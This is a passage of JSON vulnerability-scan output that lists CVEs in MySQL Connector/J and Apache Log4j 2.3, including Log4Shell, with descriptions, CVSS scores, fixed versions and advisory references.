          "Description": "Vulnerability in the MySQL Connectors component of Oracle MySQL (subcomponent: Connector/J). Supported versions that are affected are 8.0.12 and prior. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Connectors. Successful attacks of this vulnerability can result in takeover of MySQL Connectors. CVSS 3.0 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).",
          "Severity": "HIGH",
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 8.8
            },
            "nvd": {
              "V2Vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P",
              "V3Vector": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "V2Score": 6.5,
              "V3Score": 8.8
            },
            "redhat": {
              "V3Vector": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 8.8
            }
          },
          "References": [
            "http://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html",
            "http://www.securityfocus.com/bid/105589",
            "http://www.securitytracker.com/id/1041888",
            "https://access.redhat.com/errata/RHSA-2019:1545",
            "https://access.redhat.com/security/cve/CVE-2018-3258",
            "https://nvd.nist.gov/vuln/detail/CVE-2018-3258",
            "https://security.netapp.com/advisory/ntap-20181018-0002/",
            "https://www.cve.org/CVERecord?id=CVE-2018-3258",
            "https://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html#CVE-2018-3258"
          ],
          "PublishedDate": "2018-10-17T01:31:00Z",
          "LastModifiedDate": "2019-10-03T00:03:00Z"
        },
        {
          "VulnerabilityID": "CVE-2017-5645",
          "PkgID": "org.apache.logging.log4j:log4j-core:2.3",
          "PkgName": "org.apache.logging.log4j:log4j-core",
          "InstalledVersion": "2.3",
          "FixedVersion": "2.8.2",
          "Status": "fixed",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2017-5645",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "log4j: Socket receiver deserialization vulnerability",
          "Description": "In Apache Log4j 2.x before 2.8.2, when using the TCP socket server or UDP socket server to receive serialized log events from another application, a specially crafted binary payload can be sent that, when deserialized, can execute arbitrary code.",
          "Severity": "CRITICAL",
          "CweIDs": [
            "CWE-502"
          ],
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 9.8
            },
            "nvd": {
              "V2Vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V2Score": 7.5,
              "V3Score": 9.8
            },
            "redhat": {
              "V3Vector": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 8.1
            }
          },
          "References": [
            "http://www.openwall.com/lists/oss-security/2017/04/17/2",
            "http://www.openwall.com/lists/oss-security/2019/12/19/2",
            "http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html",
            "http://www.oracle.com/technetwork/security-advisory/cpujan2018-3236628.html",
            "http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html",
            "http://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html",
            "http://www.securityfocus.com/bid/97702",
            "http://www.securitytracker.com/id/1040200",
            "http://www.securitytracker.com/id/1041294",
            "https://access.redhat.com/errata/RHSA-2017:1417",
            "https://access.redhat.com/errata/RHSA-2017:1801",
            "https://access.redhat.com/errata/RHSA-2017:1802",
            "https://access.redhat.com/errata/RHSA-2017:2423",
            "https://access.redhat.com/errata/RHSA-2017:2633",
            "https://access.redhat.com/errata/RHSA-2017:2635",
            "https://access.redhat.com/errata/RHSA-2017:2636",
            "https://access.redhat.com/errata/RHSA-2017:2637",
            "https://access.redhat.com/errata/RHSA-2017:2638",
            "https://access.redhat.com/errata/RHSA-2017:2808",
            "https://access.redhat.com/errata/RHSA-2017:2809",
            "https://access.redhat.com/errata/RHSA-2017:2810",
            "https://access.redhat.com/errata/RHSA-2017:2811",
            "https://access.redhat.com/errata/RHSA-2017:2888",
            "https://access.redhat.com/errata/RHSA-2017:2889",
            "https://access.redhat.com/errata/RHSA-2017:3244",
            "https://access.redhat.com/errata/RHSA-2017:3399",
            "https://access.redhat.com/errata/RHSA-2017:3400",
            "https://access.redhat.com/errata/RHSA-2019:1545",
            "https://access.redhat.com/security/cve/CVE-2017-5645",
            "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5645",
            "https://git-wip-us.apache.org/repos/asf?p=logging-log4j2.git;h=5dcc192",
            "https://github.com/apache/logging-log4j2",
            "https://issues.apache.org/jira/browse/LOG4J2-1863",
            "https://linux.oracle.com/cve/CVE-2017-5645.html",
            "https://linux.oracle.com/errata/ELSA-2022-9419.html",
            "https://lists.apache.org/thread.html/0dcca05274d20ef2d72584edcf8c917bbb13dbbd7eb35cae909d02e9%40%3Cdev.logging.apache.org%3E",
            "https://lists.apache.org/thread.html/0dcca05274d20ef2d72584edcf8c917bbb13dbbd7eb35cae909d02e9@%3Cdev.logging.apache.org%3E",
            "https://lists.apache.org/thread.html/277b4b5c2b0e06a825ccec565fa65bd671f35a4d58e3e2ec5d0618e1%40%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/277b4b5c2b0e06a825ccec565fa65bd671f35a4d58e3e2ec5d0618e1@%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/44491fb9cc19acc901f7cff34acb7376619f15638439416e3e14761c%40%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/44491fb9cc19acc901f7cff34acb7376619f15638439416e3e14761c@%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/479471e6debd608c837b9815b76eab24676657d4444fcfd5ef96d6e6%40%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/479471e6debd608c837b9815b76eab24676657d4444fcfd5ef96d6e6@%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/6114ce566200d76e3cc45c521a62c2c5a4eac15738248f58a99f622c%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/6114ce566200d76e3cc45c521a62c2c5a4eac15738248f58a99f622c@%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/84cc4266238e057b95eb95dfd8b29d46a2592e7672c12c92f68b2917%40%3Cannounce.apache.org%3E",
            "https://lists.apache.org/thread.html/84cc4266238e057b95eb95dfd8b29d46a2592e7672c12c92f68b2917@%3Cannounce.apache.org%3E",
            "https://lists.apache.org/thread.html/8ab32b4c9f1826f20add7c40be08909de9f58a89dc1de9c09953f5ac%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/8ab32b4c9f1826f20add7c40be08909de9f58a89dc1de9c09953f5ac@%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/9317fd092b257a0815434b116a8af8daea6e920b6673f4fd5583d5fe%40%3Ccommits.druid.apache.org%3E",
            "https://lists.apache.org/thread.html/9317fd092b257a0815434b116a8af8daea6e920b6673f4fd5583d5fe@%3Ccommits.druid.apache.org%3E",
            "https://lists.apache.org/thread.html/e8fb7d76a244ee997ba4b217d6171227f7c2521af8c7c5b16cba27bc%40%3Cdev.logging.apache.org%3E",
            "https://lists.apache.org/thread.html/e8fb7d76a244ee997ba4b217d6171227f7c2521af8c7c5b16cba27bc@%3Cdev.logging.apache.org%3E",
            "https://lists.apache.org/thread.html/eea03d504b36e8f870e8321d908e1def1addda16adda04327fe7c125%40%3Cdev.logging.apache.org%3E",
            "https://lists.apache.org/thread.html/eea03d504b36e8f870e8321d908e1def1addda16adda04327fe7c125@%3Cdev.logging.apache.org%3E",
            "https://lists.apache.org/thread.html/r0831e2e52a390758ce39a6193f82c11c295175adce6e6307de28c287%40%3Cissues.beam.apache.org%3E",
            "https://lists.apache.org/thread.html/r0831e2e52a390758ce39a6193f82c11c295175adce6e6307de28c287@%3Cissues.beam.apache.org%3E",
            "https://lists.apache.org/thread.html/r18f1c010b554a3a2d761e8ffffd8674fd4747bcbcf16c643d708318c%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/r18f1c010b554a3a2d761e8ffffd8674fd4747bcbcf16c643d708318c@%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/r1b103833cb5bc8466e24ff0ecc5e75b45a705334ab6a444e64e840a0%40%3Cissues.bookkeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/r1b103833cb5bc8466e24ff0ecc5e75b45a705334ab6a444e64e840a0@%3Cissues.bookkeeper.apache.org%3E",
            "https://lists.apache.org/thread.html/r23369fd603eb6d62d3b883a0a28d12052dcbd1d6d531137124cd7f83%40%3Cgithub.beam.apache.org%3E",
            "https://lists.apache.org/thread.html/r23369fd603eb6d62d3b883a0a28d12052dcbd1d6d531137124cd7f83@%3Cgithub.beam.apache.org%3E",
            "https://lists.apache.org/thread.html/r2ce8d26154bea939536e6cf27ed02d3192bf5c5d04df885a80fe89b3%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/r2ce8d26154bea939536e6cf27ed02d3192bf5c5d04df885a80fe89b3@%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/r2ff63f210842a3c5e42f03a35d8f3a345134d073c80a04077341c211%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/r2ff63f210842a3c5e42f03a35d8f3a345134d073c80a04077341c211@%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/r3784834e80df2f284577a5596340fb84346c91a2dea6a073e65e3397%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/r3784834e80df2f284577a5596340fb84346c91a2dea6a073e65e3397@%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/r3a85514a518f3080ab1fc2652cfe122c2ccf67cfb32356acb1b08fe8%40%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/r3a85514a518f3080ab1fc2652cfe122c2ccf67cfb32356acb1b08fe8@%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/r3d666e4e8905157f3c046d31398b04f2bfd4519e31f266de108c6919%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/r3d666e4e8905157f3c046d31398b04f2bfd4519e31f266de108c6919@%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/r4b25538be50126194cc646836c718b1a4d8f71bd9c912af5b59134ad%40%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/r4b25538be50126194cc646836c718b1a4d8f71bd9c912af5b59134ad@%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/r61590890edcc64140e0c606954b29a063c3d08a2b41d447256d51a78%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/r61590890edcc64140e0c606954b29a063c3d08a2b41d447256d51a78@%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/r681b4432d0605f327b68b9f8a42662993e699d04614de4851c35ffd1%40%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/r681b4432d0605f327b68b9f8a42662993e699d04614de4851c35ffd1@%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/r746fbc3fc13aee292ae6851f7a5080f592fa3a67b983c6887cdb1fc5%40%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/r746fbc3fc13aee292ae6851f7a5080f592fa3a67b983c6887cdb1fc5@%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/r7bcdc710857725c311b856c0b82cee6207178af5dcde1bd43d289826%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/r7bcdc710857725c311b856c0b82cee6207178af5dcde1bd43d289826@%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/r94b5aae09c4bcff5d06cf641be17b00bd83ba7e10cad737bf16a1b8f%40%3Cgithub.beam.apache.org%3E",
            "https://lists.apache.org/thread.html/r94b5aae09c4bcff5d06cf641be17b00bd83ba7e10cad737bf16a1b8f@%3Cgithub.beam.apache.org%3E",
            "https://lists.apache.org/thread.html/r9d5c1b558a15d374bd5abd2d3ae3ca7e50e796a0efdcf91e9c5b4cdd%40%3Cgithub.beam.apache.org%3E",
            "https://lists.apache.org/thread.html/r9d5c1b558a15d374bd5abd2d3ae3ca7e50e796a0efdcf91e9c5b4cdd@%3Cgithub.beam.apache.org%3E",
            "https://lists.apache.org/thread.html/ra38785cfc0e7f17f8e24bebf775dd032c033fadcaea29e5bc9fffc60%40%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/ra38785cfc0e7f17f8e24bebf775dd032c033fadcaea29e5bc9fffc60@%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/ra9a682bc0a8dff1c5cefdef31c7c25f096d9121207cf2d74e2fc563d%40%3Ccommits.logging.apache.org%3E",
            "https://lists.apache.org/thread.html/ra9a682bc0a8dff1c5cefdef31c7c25f096d9121207cf2d74e2fc563d@%3Ccommits.logging.apache.org%3E",
            "https://lists.apache.org/thread.html/raedd12dc24412b3780432bf202a2618a21a727788543e5337a458ead%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/raedd12dc24412b3780432bf202a2618a21a727788543e5337a458ead@%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/rb1b29aee737e1c37fe1d48528cb0febac4f5deed51f5412e6fdfe2bf%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/rb1b29aee737e1c37fe1d48528cb0febac4f5deed51f5412e6fdfe2bf@%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/rbfa7a0742be4981a3f9356a23d0e1a5f2e1eabde32a1a3d8e41420f8%40%3Cgithub.beam.apache.org%3E",
            "https://lists.apache.org/thread.html/rbfa7a0742be4981a3f9356a23d0e1a5f2e1eabde32a1a3d8e41420f8@%3Cgithub.beam.apache.org%3E",
            "https://lists.apache.org/thread.html/rc1eaed7f7d774d5d02f66e49baced31e04827a1293d61a70bd003ca7%40%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/rc1eaed7f7d774d5d02f66e49baced31e04827a1293d61a70bd003ca7@%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/rca24a281000fb681d7e26e5c031a21eb4b0593a7735f781b53dae4e2%40%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/rca24a281000fb681d7e26e5c031a21eb4b0593a7735f781b53dae4e2@%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/rcbb79023a7c8494cb389cd3d95420fa9e0d531ece0b780b8c1f99422%40%3Ccommits.doris.apache.org%3E",
            "https://lists.apache.org/thread.html/rcbb79023a7c8494cb389cd3d95420fa9e0d531ece0b780b8c1f99422@%3Ccommits.doris.apache.org%3E",
            "https://lists.apache.org/thread.html/rd5dbeee4808c0f2b9b51479b50de3cc6adb1072c332a200d9107f13e%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/rd5dbeee4808c0f2b9b51479b50de3cc6adb1072c332a200d9107f13e@%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/rdbd579dc223f06af826d7de340218ee2f80d8b43fa7e4decb2a63f44%40%3Cgithub.beam.apache.org%3E",
            "https://lists.apache.org/thread.html/rdbd579dc223f06af826d7de340218ee2f80d8b43fa7e4decb2a63f44@%3Cgithub.beam.apache.org%3E",
            "https://lists.apache.org/thread.html/rdec0d8ac1f03e6905b0de2df1d5fcdb98b94556e4f6cccf7519fdb26%40%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/rdec0d8ac1f03e6905b0de2df1d5fcdb98b94556e4f6cccf7519fdb26@%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/re8c21ed9dd218c217d242ffa90778428e446b082b5e1c29f567e8374%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/re8c21ed9dd218c217d242ffa90778428e446b082b5e1c29f567e8374@%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/rf1bbc0ea4a9f014cf94df9a12a6477d24a27f52741dbc87f2fd52ff2%40%3Cissues.geode.apache.org%3E",
            "https://lists.apache.org/thread.html/rf1bbc0ea4a9f014cf94df9a12a6477d24a27f52741dbc87f2fd52ff2@%3Cissues.geode.apache.org%3E",
            "https://lists.apache.org/thread.html/rf2567488cfc9212b42e34c6393cfa1c14e30e4838b98dda84d71041f%40%3Cdev.tika.apache.org%3E",
            "https://lists.apache.org/thread.html/rf2567488cfc9212b42e34c6393cfa1c14e30e4838b98dda84d71041f@%3Cdev.tika.apache.org%3E",
            "https://nvd.nist.gov/vuln/detail/CVE-2017-5645",
            "https://security.netapp.com/advisory/ntap-20180726-0002/",
            "https://security.netapp.com/advisory/ntap-20181107-0002/",
            "https://www.cve.org/CVERecord?id=CVE-2017-5645",
            "https://www.oracle.com/security-alerts/cpuApr2021.html",
            "https://www.oracle.com/security-alerts/cpuapr2020.html",
            "https://www.oracle.com/security-alerts/cpujan2020.html",
            "https://www.oracle.com/security-alerts/cpujan2021.html",
            "https://www.oracle.com/security-alerts/cpujan2022.html",
            "https://www.oracle.com/security-alerts/cpujul2020.html",
            "https://www.oracle.com/security-alerts/cpuoct2020.html",
            "https://www.oracle.com/security-alerts/cpuoct2021.html",
            "https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html",
            "https://www.oracle.com/technetwork/security-advisory/cpujan2019-5072801.html",
            "https://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.html",
            "https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html"
          ],
          "PublishedDate": "2017-04-17T21:59:00Z",
          "LastModifiedDate": "2023-11-07T02:49:00Z"
        },
        {
          "VulnerabilityID": "CVE-2021-44228",
          "PkgID": "org.apache.logging.log4j:log4j-core:2.3",
          "PkgName": "org.apache.logging.log4j:log4j-core",
          "InstalledVersion": "2.3",
          "FixedVersion": "2.15.0, 2.3.1, 2.12.2",
          "Status": "fixed",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2021-44228",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "Remote code execution in Log4j 2.x when logs contain an attacker-controlled string value",
          "Description": "Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.",
          "Severity": "CRITICAL",
          "CweIDs": [
            "CWE-20",
            "CWE-400",
            "CWE-502"
          ],
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
              "V3Score": 10
            },
            "nvd": {
              "V2Vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C",
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
              "V2Score": 9.3,
              "V3Score": 10
            },
            "redhat": {
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 9.8
            }
          },
          "References": [
            "http://packetstormsecurity.com/files/165225/Apache-Log4j2-2.14.1-Remote-Code-Execution.html",
            "http://packetstormsecurity.com/files/165260/VMware-Security-Advisory-2021-0028.html",
            "http://packetstormsecurity.com/files/165261/Apache-Log4j2-2.14.1-Information-Disclosure.html",
            "http://packetstormsecurity.com/files/165270/Apache-Log4j2-2.14.1-Remote-Code-Execution.html",
            "http://packetstormsecurity.com/files/165281/Log4j2-Log4Shell-Regexes.html",
            "http://packetstormsecurity.com/files/165282/Log4j-Payload-Generator.html",
            "http://packetstormsecurity.com/files/165306/L4sh-Log4j-Remote-Code-Execution.html",
            "http://packetstormsecurity.com/files/165307/Log4j-Remote-Code-Execution-Word-Bypassing.html",
            "http://packetstormsecurity.com/files/165311/log4j-scan-Extensive-Scanner.html",
            "http://packetstormsecurity.com/files/165371/VMware-Security-Advisory-2021-0028.4.html",
            "http://packetstormsecurity.com/files/165532/Log4Shell-HTTP-Header-Injection.html",
            "http://packetstormsecurity.com/files/165642/VMware-vCenter-Server-Unauthenticated-Log4Shell-JNDI-Injection-Remote-Code-Execution.html",
            "http://packetstormsecurity.com/files/165673/UniFi-Network-Application-Unauthenticated-Log4Shell-Remote-Code-Execution.html",
            "http://packetstormsecurity.com/files/167794/Open-Xchange-App-Suite-7.10.x-Cross-Site-Scripting-Command-Injection.html",
            "http://packetstormsecurity.com/files/167917/MobileIron-Log4Shell-Remote-Command-Execution.html",
            "http://packetstormsecurity.com/files/171626/AD-Manager-Plus-7122-Remote-Code-Execution.html",
            "http://seclists.org/fulldisclosure/2022/Dec/2",
            "http://seclists.org/fulldisclosure/2022/Jul/11",
            "http://seclists.org/fulldisclosure/2022/Mar/23",
            "http://www.openwall.com/lists/oss-security/2021/12/10/1",
            "http://www.openwall.com/lists/oss-security/2021/12/10/2",
            "http://www.openwall.com/lists/oss-security/2021/12/10/3",
            "http://www.openwall.com/lists/oss-security/2021/12/13/1",
            "http://www.openwall.com/lists/oss-security/2021/12/13/2",
            "http://www.openwall.com/lists/oss-security/2021/12/14/4",
            "http://www.openwall.com/lists/oss-security/2021/12/15/3",
            "https://access.redhat.com/security/cve/CVE-2021-44228",
            "https://cert-portal.siemens.com/productcert/pdf/ssa-397453.pdf",
            "https://cert-portal.siemens.com/productcert/pdf/ssa-479842.pdf",
            "https://cert-portal.siemens.com/productcert/pdf/ssa-661247.pdf",
            "https://cert-portal.siemens.com/productcert/pdf/ssa-714170.pdf",
            "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228",
            "https://github.com/advisories/GHSA-7rjr-3q55-vv33",
            "https://github.com/advisories/GHSA-jfh8-c2jp-5v3q",
            "https://github.com/apache/logging-log4j2",
            "https://github.com/apache/logging-log4j2/commit/c77b3cb39312b83b053d23a2158b99ac7de44dd3",
            "https://github.com/apache/logging-log4j2/pull/608",
            "https://github.com/cisagov/log4j-affected-db",
            "https://github.com/cisagov/log4j-affected-db/blob/develop/SOFTWARE-LIST.md",
            "https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-44228",
            "https://github.com/tangxiaofeng7/apache-log4j-poc",
            "https://issues.apache.org/jira/browse/LOG4J2-3198",
            "https://issues.apache.org/jira/browse/LOG4J2-3201",
            "https://issues.apache.org/jira/browse/LOG4J2-3214",
            "https://issues.apache.org/jira/browse/LOG4J2-3221",
            "https://lists.debian.org/debian-lts-announce/2021/12/msg00007.html",
            "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/M5CSVUNV4HWZZXGOKNSK6L7RPM7BOKIB/",
            "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/VU57UJDCFIASIO35GC55JMKSRXJMCDFM/",
            "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/M5CSVUNV4HWZZXGOKNSK6L7RPM7BOKIB/",
            "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VU57UJDCFIASIO35GC55JMKSRXJMCDFM/",
            "https://logging.apache.org/log4j/2.x/changes-report.html#a2.15.0",
            "https://logging.apache.org/log4j/2.x/manual/lookups.html#JndiLookup",
            "https://logging.apache.org/log4j/2.x/manual/migration.html",
            "https://logging.apache.org/log4j/2.x/security.html",
            "https://msrc-blog.microsoft.com/2021/12/11/microsofts-response-to-cve-2021-44228-apache-log4j2/",
            "https://nvd.nist.gov/vuln/detail/CVE-2021-44228",
            "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0032",
            "https://security.netapp.com/advisory/ntap-20211210-0007/",
            "https://support.apple.com/kb/HT213189",
            "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd",
            "https://twitter.com/kurtseifried/status/1469345530182455296",
            "https://ubuntu.com/security/notices/USN-5192-1",
            "https://ubuntu.com/security/notices/USN-5192-2",
            "https://ubuntu.com/security/notices/USN-5197-1",
            "https://wiki.ubuntu.com/SecurityTeam/KnowledgeBase/Log4Shell",
            "https://www.bentley.com/en/common-vulnerability-exposure/be-2022-0001",
            "https://www.cve.org/CVERecord?id=CVE-2021-44228",
            "https://www.debian.org/security/2021/dsa-5020",
            "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00646.html",
            "https://www.kb.cert.org/vuls/id/930724",
            "https://www.lunasec.io/docs/blog/log4j-zero-day/",
            "https://www.nu11secur1ty.com/2021/12/cve-2021-44228.html",
            "https://www.oracle.com/security-alerts/alert-cve-2021-44228.html",
            "https://www.oracle.com/security-alerts/cpuapr2022.html",
            "https://www.oracle.com/security-alerts/cpujan2022.html"
          ],
          "PublishedDate": "2021-12-10T10:15:00Z",
          "LastModifiedDate": "2023-11-07T03:39:00Z"
        },
        {
          "VulnerabilityID": "CVE-2021-45046",
          "PkgID": "org.apache.logging.log4j:log4j-core:2.3",
          "PkgName": "org.apache.logging.log4j:log4j-core",
          "InstalledVersion": "2.3",
          "FixedVersion": "2.16.0, 2.12.2",
          "Status": "fixed",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2021-45046",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "log4j-core: DoS in log4j 2.x with thread context message pattern and context lookup pattern (incomplete fix for CVE-2021-44228)",
          "Description": "It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in an information leak and remote code execution in some environments and local code execution in all environments. Log4j 2.16.0 (Java 8) and 2.12.2 (Java 7) fix this issue by removing support for message lookup patterns and disabling JNDI functionality by default.",
          "Severity": "CRITICAL",
          "CweIDs": [
            "CWE-917"
          ],
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
              "V3Score": 9
            },
            "nvd": {
              "V2Vector": "AV:N/AC:H/Au:N/C:P/I:P/A:P",
              "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
              "V2Score": 5.1,
              "V3Score": 9
            },
            "redhat": {
              "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 8.1
            }
          },
          "References": [
            "http://www.openwall.com/lists/oss-security/2021/12/14/4",
            "http://www.openwall.com/lists/oss-security/2021/12/15/3",
            "http://www.openwall.com/lists/oss-security/2021/12/18/1",
            "https://access.redhat.com/security/cve/CVE-2021-44228",
            "https://access.redhat.com/security/cve/CVE-2021-45046",
            "https://cert-portal.siemens.com/productcert/pdf/ssa-397453.pdf",
            "https://cert-portal.siemens.com/productcert/pdf/ssa-479842.pdf",
            "https://cert-portal.siemens.com/productcert/pdf/ssa-661247.pdf",
            "https://cert-portal.siemens.com/productcert/pdf/ssa-714170.pdf",
            "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046",
            "https://github.com/advisories/GHSA-jfh8-c2jp-5v3q",
            "https://issues.apache.org/jira/browse/LOG4J2-3221",
            "https://lists.apache.org/thread/83y7dx5xvn3h5290q1twn16tltolv88f",
            "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/EOKPQGV24RRBBI4TBZUDQMM4MEH7MXCY/",
            "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/SIG7FZULMNK2XF6FZRU4VWYDQXNMUGAJ/",
            "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/EOKPQGV24RRBBI4TBZUDQMM4MEH7MXCY/",
            "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SIG7FZULMNK2XF6FZRU4VWYDQXNMUGAJ/",
            "https://logging.apache.org/log4j/2.x/security.html",
            "https://nvd.nist.gov/vuln/detail/CVE-2021-45046",
            "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0032",
            "https://security.gentoo.org/glsa/202310-16",
            "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd",
            "https://ubuntu.com/security/notices/USN-5197-1",
            "https://wiki.ubuntu.com/SecurityTeam/KnowledgeBase/Log4Shell",
